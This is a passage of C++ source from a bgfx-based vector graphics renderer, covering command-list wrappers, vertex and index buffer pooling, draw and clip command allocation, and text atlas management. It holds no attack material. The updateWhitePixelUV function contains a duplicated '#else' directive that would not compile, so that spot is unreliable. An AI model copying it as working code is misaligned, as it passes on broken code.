aclStrokePathColor(Context* ctx, Color color, float width, uint32_t flags) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clStrokePath(ctx, ctx->m_ActiveCommandList, color, width, flags); } static void aclStrokePathGradient(Context* ctx, GradientHandle gradientHandle, float width, uint32_t flags) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clStrokePath(ctx, ctx->m_ActiveCommandList, gradientHandle, width, flags); } static void aclStrokePathImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, float width, uint32_t flags) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clStrokePath(ctx, ctx->m_ActiveCommandList, imgPatternHandle, color, width, flags); } static void aclBeginClip(Context* ctx, ClipRule::Enum rule) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clBeginClip(ctx, ctx->m_ActiveCommandList, rule); } static void aclEndClip(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clEndClip(ctx, ctx->m_ActiveCommandList); } static void aclResetClip(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clResetClip(ctx, ctx->m_ActiveCommandList); } static GradientHandle aclCreateLinearGradient(Context* ctx, float sx, float sy, float ex, float ey, Color icol, Color ocol) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); return clCreateLinearGradient(ctx, ctx->m_ActiveCommandList, sx, sy, ex, ey, icol, ocol); } static GradientHandle aclCreateBoxGradient(Context* ctx, float x, float y, float w, float h, float r, float f, Color icol, Color ocol) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); return clCreateBoxGradient(ctx, ctx->m_ActiveCommandList, x, y, w, h, r, f, icol, ocol); } static GradientHandle aclCreateRadialGradient(Context* ctx, float cx, float cy, float inr, float outr, Color icol, Color ocol) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); return clCreateRadialGradient(ctx, ctx->m_ActiveCommandList, cx, cy, inr, outr, icol, ocol); } static ImagePatternHandle aclCreateImagePattern(Context* ctx, float cx, float cy, float w, float h, float angle, ImageHandle image) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); return clCreateImagePattern(ctx, ctx->m_ActiveCommandList, cx, cy, w, h, angle, image); } static void aclPushState(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clPushState(ctx, ctx->m_ActiveCommandList); } static void aclPopState(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clPopState(ctx, ctx->m_ActiveCommandList); } static void aclResetScissor(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clResetScissor(ctx, ctx->m_ActiveCommandList); } static void aclSetScissor(Context* ctx, float x, float y, float w, float h) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clSetScissor(ctx, ctx->m_ActiveCommandList, x, y, w, h); } static bool aclIntersectScissor(Context* ctx, float x, float y, float w, float h) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clIntersectScissor(ctx, ctx->m_ActiveCommandList, x, y, w, h); return true; } static void aclTransformIdentity(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clTransformIdentity(ctx, ctx->m_ActiveCommandList); } static void aclTransformScale(Context* ctx, float x, float y) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clTransformScale(ctx, ctx->m_ActiveCommandList, x, y); } static void aclTransformTranslate(Context* ctx, float x, float y) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clTransformTranslate(ctx, ctx->m_ActiveCommandList, x, y); } static void aclTransformRotate(Context* ctx, float ang_rad) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clTransformRotate(ctx, ctx->m_ActiveCommandList, ang_rad); } static void aclTransformMult(Context* ctx, const float* mtx, TransformOrder::Enum order) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clTransformMult(ctx, ctx->m_ActiveCommandList, mtx, order); } static void aclSetViewBox(Context* ctx, float x, float y, float w, float h) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clSetViewBox(ctx, ctx->m_ActiveCommandList, x, y, w, h); } static void aclIndexedTriList(Context* ctx, const float* pos, const uv_t* uv, uint32_t numVertices, const Color* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices, ImageHandle img) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clIndexedTriList(ctx, ctx->m_ActiveCommandList, pos, uv, numVertices, colors, numColors, indices, numIndices, img); } static void aclText(Context* ctx, const TextConfig& cfg, float x, float y, const char* str, const char* end) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clText(ctx, ctx->m_ActiveCommandList, cfg, x, y, str, end); } static void aclTextBox(Context* ctx, const TextConfig& cfg, float x, float y, float breakWidth, const char* str, const char* end, uint32_t textboxFlags) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clTextBox(ctx, ctx->m_ActiveCommandList, cfg, x, y, breakWidth, str, end, textboxFlags); } static void aclSubmitCommandList(Context* ctx, CommandListHandle handle) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clSubmitCommandList(ctx, ctx->m_ActiveCommandList, handle); } #endif // VG_CONFIG_COMMAND_LIST_BEGIN_END_API // Internal static inline const uv_t* getWhitePixelUV(Context* ctx) { return ctx->m_FontImageWhitePixelUV; } static void updateWhitePixelUV(Context* ctx) { uint16_t w, h; getImageSize(ctx, ctx->m_FontImages[0], &w, &h); #if VG_CONFIG_UV_INT16 ctx->m_FontImageWhitePixelUV[0] = INT16_MAX / (int16_t)w; ctx->m_FontImageWhitePixelUV[1] = INT16_MAX / (int16_t)h; #else #else ctx->m_FontImageWhitePixelUV[0] = 0.5f / (float)w; ctx->m_FontImageWhitePixelUV[1] = 0.5f / (float)h; #endif } static State* getState(Context* ctx) { const uint32_t top = ctx->m_StateStackTop; return &ctx->m_StateStack[top]; } static void updateState(State* state) { const float* stateTransform = state->m_TransformMtx; const float sx = bx::sqrt(stateTransform[0] * stateTransform[0] + stateTransform[2] * stateTransform[2]); const float sy = bx::sqrt(stateTransform[1] * stateTransform[1] + stateTransform[3] * stateTransform[3]); const float avgScale = (sx + sy) * 0.5f; state->m_AvgScale = avgScale; const float quantFactor = 0.1f; const float quantScale = (bx::floor((avgScale / quantFactor) + 0.5f)) * quantFactor; state->m_FontScale = bx::clamp<float>(quantScale, VG_CONFIG_MIN_FONT_SCALE, VG_CONFIG_MAX_FONT_SCALE); } static float* allocTransformedVertices(Context* ctx, uint32_t numVertices) { if (numVertices > ctx->m_TransformedVertexCapacity) { bx::AllocatorI* allocator = ctx->m_Allocator; ctx->m_TransformedVertices = (float*)BX_ALIGNED_REALLOC(allocator, ctx->m_TransformedVertices, sizeof(float) * 2 * numVertices, 16); ctx->m_TransformedVertexCapacity = numVertices; } return ctx->m_TransformedVertices; } static const float* transformPath(Context* ctx) { if (ctx->m_PathTransformed) { return ctx->m_TransformedVertices; } Path* path = ctx->m_Path; const uint32_t numPathVertices = pathGetNumVertices(path); float* transformedVertices = allocTransformedVertices(ctx, numPathVertices); const State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; const float* pathVertices = pathGetVertices(path); vgutil::batchTransformPositions(pathVertices, numPathVertices, transformedVertices, stateTransform); ctx->m_PathTransformed = true; return transformedVertices; } static VertexBuffer* allocVertexBuffer(Context* ctx) { if (ctx->m_NumVertexBuffers + 1 > ctx->m_VertexBufferCapacity) { ctx->m_VertexBufferCapacity++; ctx->m_VertexBuffers = (VertexBuffer*)BX_REALLOC(ctx->m_Allocator, ctx->m_VertexBuffers, sizeof(VertexBuffer) * ctx->m_VertexBufferCapacity); ctx->m_GPUVertexBuffers = (GPUVertexBuffer*)BX_REALLOC(ctx->m_Allocator, ctx->m_GPUVertexBuffers, sizeof(GPUVertexBuffer) * ctx->m_VertexBufferCapacity); GPUVertexBuffer* gpuvb = &ctx->m_GPUVertexBuffers[ctx->m_VertexBufferCapacity - 1]; gpuvb->m_PosBufferHandle = BGFX_INVALID_HANDLE; gpuvb->m_UVBufferHandle = BGFX_INVALID_HANDLE; gpuvb->m_ColorBufferHandle = BGFX_INVALID_HANDLE; } VertexBuffer* vb = &ctx->m_VertexBuffers[ctx->m_NumVertexBuffers++]; vb->m_Pos = allocVertexBufferData_Vec2(ctx); #if VG_CONFIG_UV_INT16 vb->m_UV = allocVertexBufferData_UV(ctx); #else vb->m_UV = allocVertexBufferData_Vec2(ctx); #endif vb->m_Color = allocVertexBufferData_Uint32(ctx); vb->m_Count = 0; return vb; } static uint16_t allocIndexBuffer(Context* ctx) { #if BX_CONFIG_SUPPORTS_THREADING bx::MutexScope ms(*ctx->m_DataPoolMutex); #endif uint16_t ibID = UINT16_MAX; const uint32_t numIB = ctx->m_NumIndexBuffers; for (uint32_t i = 0; i < numIB; ++i) { if (ctx->m_IndexBuffers[i].m_Count == 0) { ibID = (uint16_t)i; break; } } if (ibID == UINT16_MAX) { ctx->m_NumIndexBuffers++; ctx->m_IndexBuffers = (IndexBuffer*)BX_REALLOC(ctx->m_Allocator, ctx->m_IndexBuffers, sizeof(IndexBuffer) * ctx->m_NumIndexBuffers); ctx->m_GPUIndexBuffers = (GPUIndexBuffer*)BX_REALLOC(ctx->m_Allocator, ctx->m_GPUIndexBuffers, sizeof(GPUIndexBuffer) * ctx->m_NumIndexBuffers); ibID = (uint16_t)(ctx->m_NumIndexBuffers - 1); IndexBuffer* ib = &ctx->m_IndexBuffers[ibID]; ib->m_Capacity = 0; ib->m_Count = 0; ib->m_Indices = nullptr; GPUIndexBuffer* gpuib = &ctx->m_GPUIndexBuffers[ibID]; gpuib->m_bgfxHandle = BGFX_INVALID_HANDLE; } return ibID; } static float* allocVertexBufferData_Vec2(Context* ctx) { #if BX_CONFIG_SUPPORTS_THREADING bx::MutexScope ms(*ctx->m_DataPoolMutex); #endif bx::AllocatorI* allocator = ctx->m_Allocator; const uint32_t capacity = ctx->m_Vec2DataPoolCapacity; for (uint32_t i = 0; i < capacity; ++i) { float* data = ctx->m_Vec2DataPool[i]; // If LSB of pointer is set it means that the ptr is valid and the buffer is free for reuse. if (((uintptr_t)data) & 1) { // Remove the free flag data = (float*)((uintptr_t)data & ~1);; ctx->m_Vec2DataPool[i] = data; return data; } else if (data == nullptr) { data = (float*)BX_ALIGNED_ALLOC(allocator, sizeof(float) * 2 * ctx->m_Config.m_MaxVBVertices, 16); ctx->m_Vec2DataPool[i] = data; return data; } } ctx->m_Vec2DataPoolCapacity += 8; ctx->m_Vec2DataPool = (float**)BX_REALLOC(allocator, ctx->m_Vec2DataPool, sizeof(float*) * ctx->m_Vec2DataPoolCapacity); bx::memSet(&ctx->m_Vec2DataPool[capacity], 0, sizeof(float*) * (ctx->m_Vec2DataPoolCapacity - capacity)); ctx->m_Vec2DataPool[capacity] = (float*)BX_ALIGNED_ALLOC(allocator, sizeof(float) * 2 * ctx->m_Config.m_MaxVBVertices, 16); return ctx->m_Vec2DataPool[capacity]; } static uint32_t* allocVertexBufferData_Uint32(Context* ctx) { #if BX_CONFIG_SUPPORTS_THREADING bx::MutexScope ms(*ctx->m_DataPoolMutex); #endif bx::AllocatorI* allocator = ctx->m_Allocator; const uint32_t capacity = ctx->m_Uint32DataPoolCapacity; for (uint32_t i = 0; i < capacity; ++i) { uint32_t* data = ctx->m_Uint32DataPool[i]; // If LSB of pointer is set it means that the ptr is valid and the buffer is free for reuse. if (((uintptr_t)data) & 1) { // Remove the free flag data = (uint32_t*)((uintptr_t)data & ~1); ctx->m_Uint32DataPool[i] = data; return data; } else if (data == nullptr) { data = (uint32_t*)BX_ALIGNED_ALLOC(allocator, sizeof(uint32_t) * ctx->m_Config.m_MaxVBVertices, 16); ctx->m_Uint32DataPool[i] = data; return data; } } ctx->m_Uint32DataPoolCapacity += 8; ctx->m_Uint32DataPool = (uint32_t**)BX_REALLOC(allocator, ctx->m_Uint32DataPool, sizeof(uint32_t*) * ctx->m_Uint32DataPoolCapacity); bx::memSet(&ctx->m_Uint32DataPool[capacity], 0, sizeof(uint32_t*) * (ctx->m_Uint32DataPoolCapacity - capacity)); ctx->m_Uint32DataPool[capacity] = (uint32_t*)BX_ALIGNED_ALLOC(allocator, sizeof(uint32_t) * ctx->m_Config.m_MaxVBVertices, 16); return ctx->m_Uint32DataPool[capacity]; } #if VG_CONFIG_UV_INT16 static int16_t* allocVertexBufferData_UV(Context* ctx) { #if BX_CONFIG_SUPPORTS_THREADING bx::MutexScope ms(*ctx->m_DataPoolMutex); #endif bx::AllocatorI* allocator = ctx->m_Allocator; const uint32_t capacity = ctx->m_UVDataPoolCapacity; for (uint32_t i = 0; i < capacity; ++i) { int16_t* data = ctx->m_UVDataPool[i]; // If LSB of pointer is set it means that the ptr is valid and the buffer is free for reuse. if (((uintptr_t)data) & 1) { // Remove the free flag data = (int16_t*)((uintptr_t)data & ~1); ctx->m_UVDataPool[i] = data; return data; } else if (data == nullptr) { data = (int16_t*)BX_ALIGNED_ALLOC(allocator, sizeof(int16_t) * 2 * ctx->m_Config.m_MaxVBVertices, 16); ctx->m_UVDataPool[i] = data; return data; } } ctx->m_UVDataPoolCapacity += 8; ctx->m_UVDataPool = (int16_t**)BX_REALLOC(allocator, ctx->m_UVDataPool, sizeof(int16_t*) * ctx->m_UVDataPoolCapacity); bx::memSet(&ctx->m_UVDataPool[capacity], 0, sizeof(int16_t*) * (ctx->m_UVDataPoolCapacity - capacity)); ctx->m_UVDataPool[capacity] = (int16_t*)BX_ALIGNED_ALLOC(allocator, sizeof(int16_t) * 2 * ctx->m_Config.m_MaxVBVertices, 16); return ctx->m_UVDataPool[capacity]; } #endif static void releaseVertexBufferData_Vec2(Context* ctx, float* data) { #if BX_CONFIG_SUPPORTS_THREADING bx::MutexScope ms(*ctx->m_DataPoolMutex); #endif VG_CHECK(data != nullptr, "Tried to release a null vertex buffer"); const uint32_t capacity = ctx->m_Vec2DataPoolCapacity; for (uint32_t i = 0; i < capacity; ++i) { if (ctx->m_Vec2DataPool[i] == data) { // Mark buffer as free by setting the LSB of the ptr to 1. ctx->m_Vec2DataPool[i] = (float*)((uintptr_t)ctx->m_Vec2DataPool[i] | 1); break; } } } static void releaseVertexBufferData_Uint32(Context* ctx, uint32_t* data) { #if BX_CONFIG_SUPPORTS_THREADING bx::MutexScope ms(*ctx->m_DataPoolMutex); #endif VG_CHECK(data != nullptr, "Tried to release a null vertex buffer"); const uint32_t capacity = ctx->m_Uint32DataPoolCapacity; for (uint32_t i = 0; i < capacity; ++i) { if (ctx->m_Uint32DataPool[i] == data) { // Mark buffer as free by setting the LSB of the ptr to 1. ctx->m_Uint32DataPool[i] = (uint32_t*)((uintptr_t)ctx->m_Uint32DataPool[i] | 1); break; } } } #if VG_CONFIG_UV_INT16 static void releaseVertexBufferData_UV(Context* ctx, int16_t* data) { #if BX_CONFIG_SUPPORTS_THREADING bx::MutexScope ms(*ctx->m_DataPoolMutex); #endif VG_CHECK(data != nullptr, "Tried to release a null vertex buffer"); const uint32_t capacity = ctx->m_UVDataPoolCapacity; for (uint32_t i = 0; i < capacity; ++i) { if (ctx->m_UVDataPool[i] == data) { // Mark buffer as free by setting the LSB of the ptr to 1. ctx->m_UVDataPool[i] = (int16_t*)((uintptr_t)ctx->m_UVDataPool[i] | 1); break; } } } #endif static void releaseIndexBuffer(Context* ctx, uint16_t* data) { #if BX_CONFIG_SUPPORTS_THREADING bx::MutexScope ms(*ctx->m_DataPoolMutex); #endif VG_CHECK(data != nullptr, "Tried to release a null vertex buffer"); const uint32_t numIB = ctx->m_NumIndexBuffers; for (uint32_t i = 0; i < numIB; ++i) { if (ctx->m_IndexBuffers[i].m_Indices == data) { // Reset the ib for reuse. ctx->m_IndexBuffers[i].m_Count = 0; break; } } } static void createDrawCommand_VertexColor(Context* ctx, const float* vtx, uint32_t numVertices, const uint32_t* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices) { // Allocate the draw command const ImageHandle fontImg = ctx->m_FontImages[0]; DrawCommand* cmd = allocDrawCommand(ctx, numVertices, numIndices, DrawCommand::Type::Textured, fontImg.idx); // Vertex buffer VertexBuffer* vb = &ctx->m_VertexBuffers[cmd->m_VertexBufferID]; const uint32_t vbOffset = cmd->m_FirstVertexID + cmd->m_NumVertices; float* dstPos = &vb->m_Pos[vbOffset << 1]; bx::memCopy(dstPos, vtx, sizeof(float) * 2 * numVertices); const uv_t* uv = getWhitePixelUV(ctx); uv_t* dstUV = &vb->m_UV[vbOffset << 1]; #if VG_CONFIG_UV_INT16 vgutil::memset32(dstUV, numVertices, &uv[0]); #else vgutil::memset64(dstUV, numVertices, &uv[0]); #endif uint32_t* dstColor = &vb->m_Color[vbOffset]; if (numColors == numVertices) { bx::memCopy(dstColor, colors, sizeof(uint32_t) * numVertices); } else { VG_CHECK(numColors == 1, "Invalid size of color array passed."); vgutil::memset32(dstColor, numVertices, colors); } // Index buffer IndexBuffer* ib = &ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID]; uint16_t* dstIndex = &ib->m_Indices[cmd->m_FirstIndexID + cmd->m_NumIndices]; vgutil::batchTransformDrawIndices(indices, numIndices, dstIndex, (uint16_t)cmd->m_NumVertices); cmd->m_NumVertices += numVertices; cmd->m_NumIndices += numIndices; } static void createDrawCommand_ImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, const float* vtx, uint32_t numVertices, const uint32_t* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices) { DrawCommand* cmd = allocDrawCommand(ctx, numVertices, numIndices, DrawCommand::Type::ImagePattern, imgPatternHandle.idx); VertexBuffer* vb = &ctx->m_VertexBuffers[cmd->m_VertexBufferID]; const uint32_t vbOffset = cmd->m_FirstVertexID + cmd->m_NumVertices; float* dstPos = &vb->m_Pos[vbOffset << 1]; bx::memCopy(dstPos, vtx, sizeof(float) * 2 * numVertices); uint32_t* dstColor = &vb->m_Color[vbOffset]; if (numColors == numVertices) { bx::memCopy(dstColor, colors, sizeof(uint32_t) * numVertices); } else { VG_CHECK(numColors == 1, "Invalid size of color array passed."); vgutil::memset32(dstColor, numVertices, colors); } IndexBuffer* ib = &ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID]; uint16_t* dstIndex = &ib->m_Indices[cmd->m_FirstIndexID + cmd->m_NumIndices]; vgutil::batchTransformDrawIndices(indices, numIndices, dstIndex, (uint16_t)cmd->m_NumVertices); cmd->m_NumVertices += numVertices; cmd->m_NumIndices += numIndices; } static void createDrawCommand_ColorGradient(Context* ctx, GradientHandle gradientHandle, const float* vtx, uint32_t numVertices, const uint32_t* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices) { DrawCommand* cmd = allocDrawCommand(ctx, numVertices, numIndices, DrawCommand::Type::ColorGradient, gradientHandle.idx); VertexBuffer* vb = &ctx->m_VertexBuffers[cmd->m_VertexBufferID]; const uint32_t vbOffset = cmd->m_FirstVertexID + cmd->m_NumVertices; float* dstPos = &vb->m_Pos[vbOffset << 1]; bx::memCopy(dstPos, vtx, sizeof(float) * 2 * numVertices); uint32_t* dstColor = &vb->m_Color[vbOffset]; if (numColors == numVertices) { bx::memCopy(dstColor, colors, sizeof(uint32_t) * numVertices); } else { VG_CHECK(numColors == 1, "Invalid size of color array passed."); vgutil::memset32(dstColor, numVertices, colors); } IndexBuffer* ib = &ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID]; uint16_t* dstIndex = &ib->m_Indices[cmd->m_FirstIndexID + cmd->m_NumIndices]; vgutil::batchTransformDrawIndices(indices, numIndices, dstIndex, (uint16_t)cmd->m_NumVertices); cmd->m_NumVertices += numVertices; cmd->m_NumIndices += numIndices; } static void createDrawCommand_Clip(Context* ctx, const float* vtx, uint32_t numVertices, const uint16_t* indices, uint32_t numIndices) { // Allocate the draw command DrawCommand* cmd = allocClipCommand(ctx, numVertices, numIndices); // Vertex buffer VertexBuffer* vb = &ctx->m_VertexBuffers[cmd->m_VertexBufferID]; const uint32_t vbOffset = cmd->m_FirstVertexID + cmd->m_NumVertices; float* dstPos = &vb->m_Pos[vbOffset << 1]; bx::memCopy(dstPos, vtx, sizeof(float) * 2 * numVertices); // Index buffer IndexBuffer* ib = &ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID]; uint16_t* dstIndex = &ib->m_Indices[cmd->m_FirstIndexID + cmd->m_NumIndices]; vgutil::batchTransformDrawIndices(indices, numIndices, dstIndex, (uint16_t)cmd->m_NumVertices); cmd->m_NumVertices += numVertices; cmd->m_NumIndices += numIndices; } // NOTE: Side effect: Resets m_ForceNewDrawCommand and m_ForceNewClipCommand if the current // vertex buffer cannot hold the specified amount of vertices. static uint32_t allocVertices(Context* ctx, uint32_t numVertices, uint32_t* vbID) { VG_CHECK(numVertices < ctx->m_Config.m_MaxVBVertices, "A single draw call cannot have more than %d vertices", ctx->m_Config.m_MaxVBVertices); // Check if the current vertex buffer can hold the specified amount of vertices VertexBuffer* vb = &ctx->m_VertexBuffers[ctx->m_NumVertexBuffers - 1]; if (vb->m_Count + numVertices > ctx->m_Config.m_MaxVBVertices) { // It cannot. Allocate a new vb. vb = allocVertexBuffer(ctx); VG_CHECK(vb, "Failed to allocate new Vertex Buffer"); // The currently active vertex buffer has changed so force a new draw command. ctx->m_ForceNewDrawCommand = true; ctx->m_ForceNewClipCommand = true; } *vbID = (uint32_t)(vb - ctx->m_VertexBuffers); const uint32_t firstVertexID = vb->m_Count; vb->m_Count += numVertices; return firstVertexID; } static uint32_t allocIndices(Context* ctx, uint32_t numIndices) { IndexBuffer* ib = &ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID]; if (ib->m_Count + numIndices > ib->m_Capacity) { const uint32_t nextCapacity = ib->m_Capacity != 0 ? (ib->m_Capacity * 3) / 2 : 32; ib->m_Capacity = bx::uint32_max(nextCapacity, ib->m_Count + numIndices); ib->m_Indices = (uint16_t*)BX_ALIGNED_REALLOC(ctx->m_Allocator, ib->m_Indices, sizeof(uint16_t) * ib->m_Capacity, 16); } const uint32_t firstIndexID = ib->m_Count; ib->m_Count += numIndices; return firstIndexID; } static DrawCommand* allocDrawCommand(Context* ctx, uint32_t numVertices, uint32_t numIndices, DrawCommand::Type::Enum type, uint16_t handle) { uint32_t vertexBufferID; const uint32_t firstVertexID = allocVertices(ctx, numVertices, &vertexBufferID); const uint32_t firstIndexID = allocIndices(ctx, numIndices); const State* state = getState(ctx); const float* scissor = state->m_ScissorRect; if (!ctx->m_ForceNewDrawCommand && ctx->m_NumDrawCommands != 0) { DrawCommand* prevCmd = &ctx->m_DrawCommands[ctx->m_NumDrawCommands - 1]; VG_CHECK(prevCmd->m_VertexBufferID == vertexBufferID, "Cannot merge draw commands with different vertex buffers"); VG_CHECK(prevCmd->m_ScissorRect[0] == (uint16_t)scissor[0] && prevCmd->m_ScissorRect[1] == (uint16_t)scissor[1] && prevCmd->m_ScissorRect[2] == (uint16_t)scissor[2] && prevCmd->m_ScissorRect[3] == (uint16_t)scissor[3], "Invalid scissor rect"); if (prevCmd->m_Type == type && prevCmd->m_HandleID == handle) { return prevCmd; } } // The new draw command cannot be combined with the previous one. Create a new one. if (ctx->m_NumDrawCommands == ctx->m_DrawCommandCapacity) { ctx->m_DrawCommandCapacity = ctx->m_DrawCommandCapacity + 32; ctx->m_DrawCommands = (DrawCommand*)BX_REALLOC(ctx->m_Allocator, ctx->m_DrawCommands, sizeof(DrawCommand) * ctx->m_DrawCommandCapacity); } DrawCommand* cmd = &ctx->m_DrawCommands[ctx->m_NumDrawCommands]; ctx->m_NumDrawCommands++; cmd->m_VertexBufferID = vertexBufferID; cmd->m_FirstVertexID = firstVertexID; cmd->m_FirstIndexID = firstIndexID; cmd->m_NumVertices = 0; cmd->m_NumIndices = 0; cmd->m_Type = type; cmd->m_HandleID = handle; cmd->m_ScissorRect[0] = (uint16_t)scissor[0]; cmd->m_ScissorRect[1] = (uint16_t)scissor[1]; cmd->m_ScissorRect[2] = (uint16_t)scissor[2]; cmd->m_ScissorRect[3] = (uint16_t)scissor[3]; bx::memCopy(&cmd->m_ClipState, &ctx->m_ClipState, sizeof(ClipState)); ctx->m_ForceNewDrawCommand = false; return cmd; } static DrawCommand* allocClipCommand(Context* ctx, uint32_t numVertices, uint32_t numIndices) { uint32_t vertexBufferID; const uint32_t firstVertexID = allocVertices(ctx, numVertices, &vertexBufferID); const uint32_t firstIndexID = allocIndices(ctx, numIndices); const State* state = getState(ctx); const float* scissor = state->m_ScissorRect; if (!ctx->m_ForceNewClipCommand && ctx->m_NumClipCommands != 0) { DrawCommand* prevCmd = &ctx->m_ClipCommands[ctx->m_NumClipCommands - 1]; VG_CHECK(prevCmd->m_VertexBufferID == vertexBufferID, "Cannot merge clip commands with different vertex buffers"); VG_CHECK(prevCmd->m_ScissorRect[0] == (uint16_t)scissor[0] && prevCmd->m_ScissorRect[1] == (uint16_t)scissor[1] && prevCmd->m_ScissorRect[2] == (uint16_t)scissor[2] && prevCmd->m_ScissorRect[3] == (uint16_t)scissor[3], "Invalid scissor rect"); VG_CHECK(prevCmd->m_Type == DrawCommand::Type::Clip, "Invalid draw command type"); return prevCmd; } // The new clip command cannot be combined with the previous one. Create a new one. if (ctx->m_NumClipCommands == ctx->m_ClipCommandCapacity) { ctx->m_ClipCommandCapacity = ctx->m_ClipCommandCapacity + 32; ctx->m_ClipCommands = (DrawCommand*)BX_REALLOC(ctx->m_Allocator, ctx->m_ClipCommands, sizeof(DrawCommand) * ctx->m_ClipCommandCapacity); } DrawCommand* cmd = &ctx->m_ClipCommands[ctx->m_NumClipCommands]; ctx->m_NumClipCommands++; cmd->m_VertexBufferID = vertexBufferID; cmd->m_FirstVertexID = firstVertexID; cmd->m_FirstIndexID = firstIndexID; cmd->m_NumVertices = 0; cmd->m_NumIndices = 0; cmd->m_Type = DrawCommand::Type::Clip; cmd->m_HandleID = UINT16_MAX; cmd->m_ScissorRect[0] = (uint16_t)scissor[0]; cmd->m_ScissorRect[1] = (uint16_t)scissor[1]; cmd->m_ScissorRect[2] = (uint16_t)scissor[2]; cmd->m_ScissorRect[3] = (uint16_t)scissor[3]; cmd->m_ClipState.m_FirstCmdID = ~0u; cmd->m_ClipState.m_NumCmds = 0; ctx->m_ForceNewClipCommand = false; return cmd; } static void resetImage(Image* img) { img->m_bgfxHandle = BGFX_INVALID_HANDLE; img->m_Width = 0; img->m_Height = 0; img->m_Flags = 0; } static ImageHandle allocImage(Context* ctx) { ImageHandle handle = { ctx->m_ImageHandleAlloc->alloc() }; if (!isValid(handle)) { return VG_INVALID_HANDLE; } if (handle.idx >= ctx->m_ImageCapacity) { const uint32_t oldCapacity = ctx->m_ImageCapacity; ctx->m_ImageCapacity = bx::uint32_max(ctx->m_ImageCapacity + 4, handle.idx + 1); ctx->m_Images = (Image*)BX_REALLOC(ctx->m_Allocator, ctx->m_Images, sizeof(Image) * ctx->m_ImageCapacity); if (!ctx->m_Images) { return VG_INVALID_HANDLE; } // Reset all new textures... const uint32_t capacity = ctx->m_ImageCapacity; for (uint32_t i = oldCapacity; i < capacity; ++i) { resetImage(&ctx->m_Images[i]); } } VG_CHECK(handle.idx < ctx->m_ImageCapacity, "Allocated invalid image handle"); Image* tex = &ctx->m_Images[handle.idx]; VG_CHECK(!bgfx::isValid(tex->m_bgfxHandle), "Allocated texture is already in use"); resetImage(tex); return handle; } static bool allocTextAtlas(Context* ctx) { flushTextAtlas(ctx); if (ctx->m_FontImageID + 1 >= VG_CONFIG_MAX_FONT_IMAGES) { VG_WARN(false, "No more text atlases for this frame"); return false; } // if next fontImage already have a texture uint16_t iw, ih; if (isValid(ctx->m_FontImages[ctx->m_FontImageID + 1])) { getImageSize(ctx, ctx->m_FontImages[ctx->m_FontImageID + 1], &iw, &ih); } else { // calculate the new font image size and create it. bool imgSizeValid = getImageSize(ctx, ctx->m_FontImages[ctx->m_FontImageID], &iw, &ih); VG_CHECK(imgSizeValid, "Invalid font atlas dimensions"); BX_UNUSED(imgSizeValid); if (iw > ih) { ih *= 2; } else { iw *= 2; } const uint32_t maxTextureSize = bgfx::getCaps()->limits.maxTextureSize; if (iw > maxTextureSize || ih > maxTextureSize) { iw = ih = (uint16_t)maxTextureSize; } ctx->m_FontImages[ctx->m_FontImageID + 1] = createImage(ctx, iw, ih, ctx->m_Config.m_FontAtlasImageFlags, nullptr); } ++ctx->m_FontImageID; updateWhitePixelUV(ctx); fonsResetAtlas(ctx->m_FontStashContext, iw, ih); return true; } static void renderTextQuads(Context* ctx, uint32_t numQuads, Color color) { const State* state = getState(ctx); const float scale = state->m_FontScale * ctx->m_DevicePixelRatio; const float invscale = 1.0f / scale; const uint32_t c = colorSetAlpha(color, (uint8_t)(state->m_GlobalAlpha * colorGetAlpha(color))); if (colorGetAlpha(c) == 0) { return; } float mtx[6]; mtx[0] = state->m_TransformMtx[0] * invscale; mtx[1] = state->m_TransformMtx[1] * invscale; mtx[2] = state->m_TransformMtx[2] * invscale; mtx[3] = state->m_TransformMtx[3] * invscale; mtx[4] = state->m_TransformMtx[4]; mtx[5] = state->m_TransformMtx[5]; // TODO: Calculate bounding rect of the quads. vgutil::batchTransformTextQuads(&ctx->m_TextQuads->x0, numQuads, mtx, ctx->m_TextVertices); const uint32_t numDrawVertices = numQuads * 4; const uint32_t numDrawIndices = numQuads * 6; DrawCommand* cmd = allocDrawCommand(ctx, numDrawVertices, numDrawIndices, DrawCommand::Type::Textured, 